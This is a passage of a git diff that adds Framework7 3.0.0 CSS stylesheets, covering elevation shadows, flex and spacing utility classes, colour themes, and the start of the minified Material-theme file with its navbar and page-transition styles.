0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-7, +.device-desktop .active-state.elevation-pressed-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-8, +.device-desktop .active-state.elevation-pressed-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-9, +.device-desktop .active-state.elevation-pressed-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-10, +.device-desktop .active-state.elevation-pressed-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-11, +.device-desktop .active-state.elevation-pressed-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-12, +.device-desktop .active-state.elevation-pressed-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-13, +.device-desktop .active-state.elevation-pressed-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-14, +.device-desktop .active-state.elevation-pressed-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-15, +.device-desktop .active-state.elevation-pressed-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-16, +.device-desktop .active-state.elevation-pressed-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-17, +.device-desktop .active-state.elevation-pressed-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-18, +.device-desktop .active-state.elevation-pressed-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-19, +.device-desktop .active-state.elevation-pressed-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-20, +.device-desktop .active-state.elevation-pressed-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-21, +.device-desktop .active-state.elevation-pressed-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-22, +.device-desktop .active-state.elevation-pressed-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-23, +.device-desktop .active-state.elevation-pressed-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-24, +.device-desktop .active-state.elevation-pressed-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-transition-100 { + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition, +.elevation-transition-200 { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-300 { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-400 { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-500 { + -webkit-transition-duration: 500ms; + transition-duration: 500ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +/* === Typography === */ +.display-flex { + display: -webkit-box !important; + display: -webkit-flex !important; + display: -ms-flexbox !important; + display: flex !important; +} +.display-block { + display: block !important; +} +.display-inline-flex { + display: -webkit-inline-box !important; + display: -webkit-inline-flex !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} +.display-inline-block { + display: inline-block !important; +} +.display-inline { + display: inline !important; +} +.display-none { + display: none !important; +} +.flex-shrink-0 { + -webkit-flex-shrink: 0 !important; + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} +.flex-shrink-1 { + -webkit-flex-shrink: 1 !important; + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} +.flex-shrink-2 { + -webkit-flex-shrink: 2 !important; + -ms-flex-negative: 2 !important; + flex-shrink: 2 !important; +} +.flex-shrink-3 { + -webkit-flex-shrink: 3 !important; + -ms-flex-negative: 3 !important; + flex-shrink: 3 !important; +} +.flex-shrink-4 { + -webkit-flex-shrink: 4 !important; + -ms-flex-negative: 4 !important; + flex-shrink: 4 !important; +} +.flex-shrink-5 { + -webkit-flex-shrink: 5 !important; + -ms-flex-negative: 5 !important; + flex-shrink: 5 !important; +} +.flex-shrink-6 { + -webkit-flex-shrink: 6 !important; + -ms-flex-negative: 6 !important; + flex-shrink: 6 !important; +} +.flex-shrink-7 { + -webkit-flex-shrink: 7 !important; + -ms-flex-negative: 7 !important; + flex-shrink: 7 !important; +} +.flex-shrink-8 { + -webkit-flex-shrink: 8 !important; + -ms-flex-negative: 8 !important; + flex-shrink: 8 !important; +} +.flex-shrink-9 { + -webkit-flex-shrink: 9 !important; + -ms-flex-negative: 9 !important; + flex-shrink: 9 !important; +} +.flex-shrink-10 { + -webkit-flex-shrink: 10 !important; + -ms-flex-negative: 10 !important; + flex-shrink: 10 !important; +} +.justify-content-flex-start { + -webkit-box-pack: start !important; + -webkit-justify-content: flex-start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} +.justify-content-center { + -webkit-box-pack: center !important; + -webkit-justify-content: center !important; + -ms-flex-pack: center !important; + justify-content: center !important; +} +.justify-content-flex-end { + -webkit-box-pack: end !important; + -webkit-justify-content: flex-end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} +.justify-content-space-between { + -webkit-box-pack: justify !important; + -webkit-justify-content: space-between !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} +.justify-content-space-around { + -webkit-justify-content: space-around !important; + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} +.justify-content-space-evenly { + -webkit-box-pack: space-evenly !important; + -webkit-justify-content: space-evenly !important; + -ms-flex-pack: space-evenly !important; + justify-content: space-evenly !important; +} +.justify-content-stretch { + -webkit-box-pack: stretch !important; + -webkit-justify-content: stretch !important; + -ms-flex-pack: stretch !important; + justify-content: stretch !important; +} +.justify-content-start { + -webkit-box-pack: start !important; + -webkit-justify-content: start !important; + -ms-flex-pack: start !important; + justify-content: start !important; +} +.justify-content-end { + -webkit-box-pack: end !important; + -webkit-justify-content: end !important; + -ms-flex-pack: end !important; + justify-content: end !important; +} +.justify-content-left { + -webkit-box-pack: left !important; + -webkit-justify-content: left !important; + -ms-flex-pack: left !important; + justify-content: left !important; +} +.justify-content-right { + -webkit-box-pack: right !important; + -webkit-justify-content: right !important; + -ms-flex-pack: right !important; + justify-content: right !important; +} +.align-content-flex-start { + -webkit-align-content: flex-start !important; + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} +.align-content-flex-end { + -webkit-align-content: flex-end !important; + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} +.align-content-center { + -webkit-align-content: center !important; + -ms-flex-line-pack: center !important; + align-content: center !important; +} +.align-content-space-between { + -webkit-align-content: space-between !important; + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} +.align-content-space-around { + -webkit-align-content: space-around !important; + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} +.align-content-stretch { + -webkit-align-content: stretch !important; + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} +.align-items-flex-start { + -webkit-box-align: start !important; + -webkit-align-items: flex-start !important; + -ms-flex-align: start !important; + align-items: flex-start !important; +} +.align-items-flex-end { + -webkit-box-align: end !important; + -webkit-align-items: flex-end !important; + -ms-flex-align: end !important; + align-items: flex-end !important; +} +.align-items-center { + -webkit-box-align: center !important; + -webkit-align-items: center !important; + -ms-flex-align: center !important; + align-items: center !important; +} +.align-items-stretch { + -webkit-box-align: stretch !important; + -webkit-align-items: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important; +} +.align-self-flex-start { + -webkit-align-self: flex-start !important; + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} +.align-self-flex-end { + -webkit-align-self: flex-end !important; + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} +.align-self-center { + -webkit-align-self: center !important; + -ms-flex-item-align: center !important; + align-self: center !important; +} +.align-self-stretch { + -webkit-align-self: stretch !important; + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} +.text-align-left { + text-align: left !important; +} +.text-align-center { + text-align: center !important; +} +.text-align-right { + text-align: right !important; +} +.text-align-justify { + text-align: justify !important; +} +.float-left { + float: left !important; +} +.float-right { + float: right !important; +} +.float-none { + float: none !important; +} +.vertical-align-bottom { + vertical-align: bottom !important; +} +.vertical-align-middle { + vertical-align: middle !important; +} +.vertical-align-top { + vertical-align: top !important; +} +.no-padding { + padding: 0 !important; +} +.no-padding-left { + padding-left: 0 !important; +} +.no-padding-right { + padding-right: 0 !important; +} +.no-padding-top { + padding-top: 0 !important; +} +.no-padding-bottom { + padding-bottom: 0 !important; +} +.no-margin { + margin: 0 !important; +} +.no-margin-left { + margin-left: 0 !important; +} +.no-margin-right { + margin-right: 0 !important; +} +.no-margin-top { + margin-top: 0 !important; +} +.no-margin-bottom { + margin-bottom: 0 !important; +} +.width-auto { + width: auto !important; +} +.width-100 { + width: 100% !important; +} +.md .padding { + padding: 16px !important; +} +.md .padding-top { + padding-top: 16px !important; +} +.md .padding-bottom { + padding-bottom: 16px !important; +} +.md .padding-left { + padding-left: 16px !important; +} +.md .padding-right { + padding-right: 16px !important; +} +.md .padding-vertical { + padding-top: 16px !important; + padding-bottom: 16px !important; +} +.md .padding-horizontal { + padding-left: 16px !important; + padding-right: 16px !important; +} +.md .margin { + margin: 16px !important; +} +.md .margin-top { + margin-top: 16px !important; +} +.md .margin-bottom { + margin-bottom: 16px !important; +} +.md .margin-left { + margin-left: 16px !important; +} +.md .margin-right { + margin-right: 16px !important; +} +.md .margin-vertical { + margin-top: 16px !important; + margin-bottom: 16px !important; +} +.md .margin-horizontal { + margin-left: 16px !important; + margin-right: 16px !important; +} +.md .text-color-red { + color: #f44336 !important; +} +.md .bg-color-red { + background-color: #f44336 !important; +} +.md .border-color-red { + border-color: #f44336 !important; +} +.md .text-color-green { + color: #4caf50 !important; +} +.md .bg-color-green { + background-color: #4caf50 !important; +} +.md .border-color-green { + border-color: #4caf50 !important; +} +.md .text-color-blue { + color: #2196f3 !important; +} +.md .bg-color-blue { + background-color: #2196f3 !important; +} +.md .border-color-blue { + border-color: #2196f3 !important; +} +.md .text-color-pink { + color: #e91e63 !important; +} +.md .bg-color-pink { + background-color: #e91e63 !important; +} +.md .border-color-pink { + border-color: #e91e63 !important; +} +.md .text-color-yellow { + color: #ffeb3b !important; +} +.md .bg-color-yellow { + background-color: #ffeb3b !important; +} +.md .border-color-yellow { + border-color: #ffeb3b !important; +} +.md .text-color-orange { + color: #ff9800 !important; +} +.md .bg-color-orange { + background-color: #ff9800 !important; +} +.md .border-color-orange { + border-color: #ff9800 !important; +} +.md .text-color-gray { + color: #9e9e9e !important; +} +.md .bg-color-gray { + background-color: #9e9e9e !important; +} +.md .border-color-gray { + border-color: #9e9e9e !important; +} +.md .text-color-white { + color: #ffffff !important; +} +.md .bg-color-white { + background-color: #ffffff !important; +} +.md .border-color-white { + border-color: #ffffff !important; +} +.md .text-color-black { + color: #000000 !important; +} +.md .bg-color-black { + background-color: #000000 !important; +} +.md .border-color-black { + border-color: #000000 !important; +} diff --git a/framework7/css/framework7.md.min.css b/framework7/css/framework7.md.min.css new file mode 100644 index 0000000..400e882 --- /dev/null +++ b/framework7/css/framework7.md.min.css @@ -0,0 +1,12 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +.framework7-root,body,html{position:relative;height:100%;width:100%;overflow-x:hidden}body{margin:0;padding:0;font-size:14px;width:100%;background:#fff;overflow:hidden;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased}.framework7-root{overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.framework7-initializing *,.framework7-initializing :after,.framework7-initializing :before{-webkit-transition-duration:0s!important;transition-duration:0s!important}@media (width:1024px) and (height:691px) and (orientation:landscape){.framework7-root,body,html{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.framework7-root,body,html{height:672px}}*{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}a,input,select,textarea{outline:0}a{cursor:pointer;text-decoration:none}p{margin:1em 0}.disabled{opacity:.55!important;pointer-events:none!important}.md body{font-family:Roboto,Noto,Helvetica,Arial,sans-serif;color:#212121;line-height:1.5}.md .if-ios,.md .ios-only{display:none!important}.md a{color:#2196f3}.md .theme-dark{color:rgba(255,255,255,.87)}.md .color-theme-red a{color:#f44336}.md .color-theme-green a{color:#4caf50}.md .color-theme-blue a{color:#2196f3}.md .color-theme-pink a{color:#e91e63}.md .color-theme-yellow a{color:#ffeb3b}.md .color-theme-orange a{color:#ff9800}.md .color-theme-gray a{color:#9e9e9e}.md .color-theme-white a{color:#fff}.md .color-theme-black a{color:#000}.md a.color-red{color:#f44336}.md a.color-green{color:#4caf50}.md a.color-blue{color:#2196f3}.md a.color-pink{color:#e91e63}.md a.color-yellow{color:#ffeb3b}.md a.color-orange{color:#ff9800}.md a.color-gray{color:#9e9e9e}.md a.color-white{color:#fff}.md a.color-black{color:#000}.statusbar{position:absolute;left:0;top:0;width:100%;z-index:10000;-webkit-box-sizing:border-box;box-sizing:border-box;display:none}html.device-ios .statusbar,html.ios:not(.device-ios):not(.device-android) .statusbar{height:20px}html.device-android .statusbar,html.md:not(.device-ios):not(.device-android) .statusbar{height:24px}html.device-ios.device-iphone-x .statusbar{height:constant(safe-area-inset-top);height:env(safe-area-inset-top)}html.with-statusbar .statusbar{display:block}html.with-statusbar.device-ios .framework7-root,html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root{padding-top:20px}html.with-statusbar.device-android .framework7-root,html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root{padding-top:24px}html.with-statusbar.device-iphone-x .framework7-root{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.md .statusbar{background:#0a6ebd}.md .color-theme-red .statusbar{background:#d2190b}.md .color-theme-green .statusbar{background:#357a38}.md .color-theme-blue .statusbar{background:#0a6ebd}.md .color-theme-pink .statusbar{background:#aa1145}.md .color-theme-yellow .statusbar{background:#eed500}.md .color-theme-orange .statusbar{background:#b36a00}.md .color-theme-gray .statusbar{background:#787878}.md .color-theme-white .statusbar{background:#d9d9d9}.md .color-theme-black .statusbar{background:#000}.view,.views{position:relative;height:100%;z-index:5000;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.pages{position:relative;width:100%;height:100%;overflow:hidden}.page{-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.page.stacked{display:none}.page-previous{pointer-events:none}.page-content{overflow:auto;-webkit-overflow-scrolling:touch;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;position:relative;z-index:1}.md .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.md .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.md .page{background:#fff}.md .page-next{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0;pointer-events:none}.md .page-next.page-next-on-right{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.md .page-transitioning,.md .page-transitioning .page-opacity-effect,.md .page-transitioning .page-shadow-effect{-webkit-transition-duration:250ms;transition-duration:250ms}.md .page-transitioning-swipeback,.md .page-transitioning-swipeback .page-opacity-effect,.md .page-transitioning-swipeback .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.md .router-transition-backward .page,.md .router-transition-forward .page{pointer-events:none}.md .router-transition-css-forward .page-next{-webkit-animation:md-page-next-to-current 250ms forwards;animation:md-page-next-to-current 250ms forwards}.md .router-transition-css-forward .page-current{-webkit-animation:none;animation:none}.md .router-transition-css-backward .page-current{-webkit-animation:md-page-current-to-next 250ms forwards;animation:md-page-current-to-next 250ms forwards}.md .router-transition-css-backward .page-previous{-webkit-animation:none;animation:none}.md .theme-dark .page,.page.md .theme-dark{background:#171717}@-webkit-keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}@keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}.link,.tab-link{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.md .link i+i,.md .link i+span,.md .link span+i,.md .link span+span{margin-left:8px}.navbar{position:relative;left:0;top:0;width:100%;z-index:500;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar b{font-weight:500}.navbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.navbar .left,.navbar .right,.navbar .title{position:relative;z-index:1}.navbar .title{text-align:center;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;font-weight:500;display:inline-block}.navbar .subtitle{display:block}.navbar .left,.navbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar .right:first-child{position:absolute;height:100%}.navbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.navbar-inner.stacked{display:none}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.md .navbar{height:56px;background:#2196f3;color:#fff;font-size:20px}.md .navbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .navbar.no-shadow:after{display:none}.md .navbar a{color:inherit}.md .navbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;height:56px;line-height:56px}.md .navbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .navbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .navbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .navbar .title{margin:0 16px;line-height:1.2;text-align:left}.md .navbar .subtitle{line-height:1.2;font-size:14px;font-weight:400;color:rgba(255,255,255,.85)}.md .navbar .right{margin-left:auto}.md .navbar .right:first-child{right:16px}.md .navbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden}.md .page-with-subnavbar .navbar-inner{overflow:visible}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:56px}@media (min-width:768px){.md .navbar{height:64px}.md .navbar a.link{height:64px;line-height:64px}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:64px}}.md .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .navbar-hidden:after{display:none}.md .color-theme-red .navbar,.md .color-theme-red.navbar{background:#f44336}.md .color-theme-green .navbar,.md .color-theme-green.navbar{background:#4caf50}.md .color-theme-blue .navbar,.md .color-theme-blue.navbar{background:#2196f3}.md .color-theme-pink .navbar,.md .color-theme-pink.navbar{background:#e91e63}.md .color-theme-yellow .navbar,.md .color-theme-yellow.navbar{background:#ffeb3b}.md .color-theme-orange .navbar,.md .color-theme-orange.navbar{background:#ff9800}.md .color-theme-gray .navbar,.md .color-theme-gray.navbar{background:#9e9e9e}.md .color-theme-white .navbar,.md .color-theme-white.navbar{background:#fff}.md .color-theme-black .navbar,.md .color-theme-black.navbar{background:#000}.md .navbar.color-red{background:#f44336}.md .navbar.color-green{background:#4caf50}.md .navbar.color-blue{background:#2196f3}.md .navbar.color-pink{background:#e91e63}.md .navbar.color-yellow{background:#ffeb3b}.md .navbar.color-orange{background:#ff9800}.md .navbar.color-gray{background:#9e9e9e}.md 